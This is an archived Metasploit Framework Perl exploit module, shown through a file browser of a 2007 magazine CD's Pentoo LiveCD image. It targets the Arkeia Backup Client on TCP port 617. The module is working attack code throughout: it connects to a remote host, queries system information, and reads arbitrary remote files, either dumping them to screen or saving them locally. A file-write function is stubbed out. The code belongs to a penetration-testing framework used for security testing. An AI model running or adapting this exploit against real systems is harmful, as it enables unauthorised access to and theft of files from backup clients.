home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / arkeia_agent_access.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  5.7 KB  |  238 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::arkeia_agent_access;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use Pex::Arkeia;
  15.  
  16. my $advanced = { };
  17.  
  18. my $info =
  19. {
  20.     'Name'     => 'Arkeia Backup Client Remote Access',
  21.     'Version'  => '$Revision: 1.4 $',
  22.     'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  23.     'Arch'     => [ ],
  24.     'OS'       => [ ],
  25.     
  26.     'UserOpts' => 
  27.     {
  28.         'RHOST' => [1, 'ADDR', 'The target address'],
  29.         'RPORT' => [1, 'PORT', 'The target port', 617],
  30.         
  31.         'RFILE' => [0, 'DATA', 'The remote file path'],
  32.         'LFILE' => [0, 'DATA', 'The local file path'],
  33.         'HNAME' => [0, 'DATA', 'The remote host name'],
  34.     },
  35.  
  36.     'Description'  => Pex::Text::Freeform(qq{
  37.         This module provides a number of functions for manipulating
  38.         an Arkeia Backup Client installation.
  39.     }),
  40.  
  41.     'Refs'    => 
  42.     [
  43.         ['OSVDB', 15130],
  44.         ['URL', 'http://metasploit.com/research/arkeia_agent/'],
  45.         ['MIL', '5'],
  46.     ],
  47.     
  48.     'Targets' => 
  49.     [
  50.         ['Read a file from the remote system',        'read'],
  51.         ['Display the remote system information',    'info'],
  52. #        ['Write a file to the remote system',        'write'],        
  53.     ],
  54.     
  55.     'Keys'    => ['arkeia'],
  56.  
  57.     'DisclosureDate' => 'Feb 20 2005',
  58. };
  59.  
  60. sub new {
  61.     my $class = shift;
  62.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  63.     return($self);
  64. }
  65.  
  66. sub Check {
  67.     my $self = shift;
  68.     my $target_host = $self->GetVar('RHOST');
  69.     my $target_port = $self->GetVar('RPORT');
  70.     
  71.     my $s = Msf::Socket::Tcp->new
  72.     (
  73.         'PeerAddr'  => $target_host,
  74.         'PeerPort'  => $target_port,
  75.     );
  76.  
  77.     if ($s->IsError) {
  78.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  79.         return $self->CheckCode('Connect');
  80.     }
  81.     
  82.     $self->PrintLine("[*] Querying the Arkeia Backup Client...");
  83.     my %info = Pex::Arkeia::ClientInfo($s);
  84.     
  85.     # Give up if we did not get a version response back
  86.     if (! $info{'Version'} ) {
  87.         $self->PrintLine("[*] Error: ". $info{'Error'});
  88.         return $self->CheckCode('Unknown');
  89.     }
  90.     
  91.     # Dump out the information returned by the server
  92.     $self->PrintLine("[*] System Information");
  93.     foreach my $inf (keys %info) {
  94.         next if $inf eq 'Error';
  95.         $self->PrintLine("      $inf: $info{$inf}");
  96.     }
  97.  
  98.     return $self->CheckCode('Confirmed');
  99. }
  100.  
  101.  
  102. sub Exploit {
  103.     my $self = shift;
  104.     my $func = $self->Targets->[$self->GetVar('TARGET')];
  105.  
  106.     return $self->ARKRead()  if $func->[1] eq 'read';
  107.     return $self->ARKWrite() if $func->[1] eq 'write';
  108.     return $self->ARKInfo()  if $func->[1] eq 'info';
  109.     
  110.     $self->PrintLine("[*] Unknown attack type specified");
  111.     return;
  112. }
  113.  
  114. sub ARKRead {
  115.     my $self = shift;
  116.     my $path_rem    = $self->GetVar('RFILE');
  117.     my $path_loc    = $self->GetVar('LFILE');
  118.     
  119.     my ($name, $drive, $path);
  120.     my $s = $self->Connect || return;        
  121.  
  122.     $name = $self->GetEnv('HNAME');
  123.  
  124.     if (! $name) {
  125.         $self->PrintLine("[*] Warning: The 'HNAME' option should be set to the remote host name");
  126.     }
  127.  
  128.     # Handle Windows paths
  129.     if ($path_rem =~ m/^([a-z]:)(\\.*)/i) {
  130.         $drive = $1;
  131.         $path  = $2;
  132.         $path  =~ s:\\:/:g;
  133.     }
  134.     # Handle UNIX paths
  135.     else {
  136.         $drive = '/';
  137.         $path  = $path_rem;
  138.     }
  139.     
  140.     my %ret = Pex::Arkeia::GetFile($s, $name, $drive, $path);
  141.  
  142.     if (! $ret{'Data'}) {
  143.         $self->PrintLine("[*] The file transfer failed due to an error");
  144.         $self->PrintLine("[*] ".$ret{'Info'}) if $ret{'Info'};
  145.         $self->PrintLine("[*] Error: ".$ret{'Error'}) if $ret{'Error'};        
  146.         return;
  147.     }
  148.     
  149.     # Quick and dirty way to pull the file contents out
  150.     my ($fsize) = $ret{'Data'} =~ m/n_fsize\x00(\d+)\x00/ms;
  151.     my $findex  = rindex($ret{'Data'}, "n_cksum\x00");
  152.     my $fdata   = substr($ret{'Data'}, $findex - $fsize, $fsize);
  153.     my $trunc   = $fsize;
  154.  
  155.     # If the file was truncated, we try to salvage what we can
  156.     if ($findex == -1) {
  157.         $self->PrintLine("[*] Warning: This file is greater than 65k and will be truncated");
  158.         (undef, $trunc, $fdata) = $ret{'Data'} =~ m/n_(size|cmpatrr)\x00[^\x00]+\x00[^\x00]+\x00[^\x00]+\x00(\d{5})(.*)/msg;
  159.         
  160.         # Even more gross hacks
  161.         if (! $trunc) {
  162.             $self->PrintLine("[*] Could not determine the file start, dumping the entire response");
  163.             $fdata = $ret{'Data'};
  164.             $trunc = length($fdata);
  165.         }
  166.     }
  167.  
  168.     $self->PrintLine("[*] Transferred $trunc of $fsize bytes for $path_rem");
  169.  
  170.     if ($path_loc) {
  171.         if (! open(TMP, '>'.$path_loc)) {
  172.             $self->PrintLine("[*] Could not open local path $path_loc: $!");
  173.             return;
  174.         }
  175.         print TMP $fdata;
  176.         close(TMP);
  177.         return;
  178.     }
  179.     
  180.     $self->PrintLine("[*] Dumping file contents...");
  181.     $self->PrintLine($fdata);
  182.     return;
  183. }
  184.  
  185. sub ARKWrite {
  186.     my $self = shift;
  187.     my $path_rem    = $self->GetVar('RFILE');
  188.     my $path_loc    = $self->GetVar('LFILE');
  189.  
  190.     $self->PrintLine("[*] This feature is still under development");
  191.     return;
  192.         
  193.     my $s = $self->Connect || return;
  194. }
  195.  
  196. sub ARKInfo {
  197.     my $self = shift;
  198.     my $s = $self->Connect || return;
  199.     
  200.     $self->PrintLine("[*] Querying the Arkeia Backup Client...");
  201.     my %info = Pex::Arkeia::ClientInfo($s);
  202.     
  203.     # Give up if we did not get a version response back
  204.     if (! $info{'Version'} ) {
  205.         $self->PrintLine("[*] Error: ". $info{'Error'});
  206.         return;
  207.     }
  208.     
  209.     # Dump out the information returned by the server
  210.     $self->PrintLine("[*] System Information");
  211.     foreach my $inf (keys %info) {
  212.         next if $inf eq 'Error';
  213.         $self->PrintLine("      $inf: $info{$inf}");
  214.     }
  215.     
  216.     $s->Close;
  217.     return;
  218. }
  219.  
  220.  
  221. sub Connect {
  222.     my $self = shift;
  223.     my $s = Msf::Socket::Tcp->new
  224.     (
  225.         'PeerAddr'  => $self->GetVar('RHOST'),
  226.         'PeerPort'  => $self->GetVar('RPORT'),
  227.     );
  228.  
  229.     if ($s->IsError) {
  230.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  231.         return;
  232.     }
  233.     
  234.     return $s;
  235. }
  236. 1;
  237.  
  238.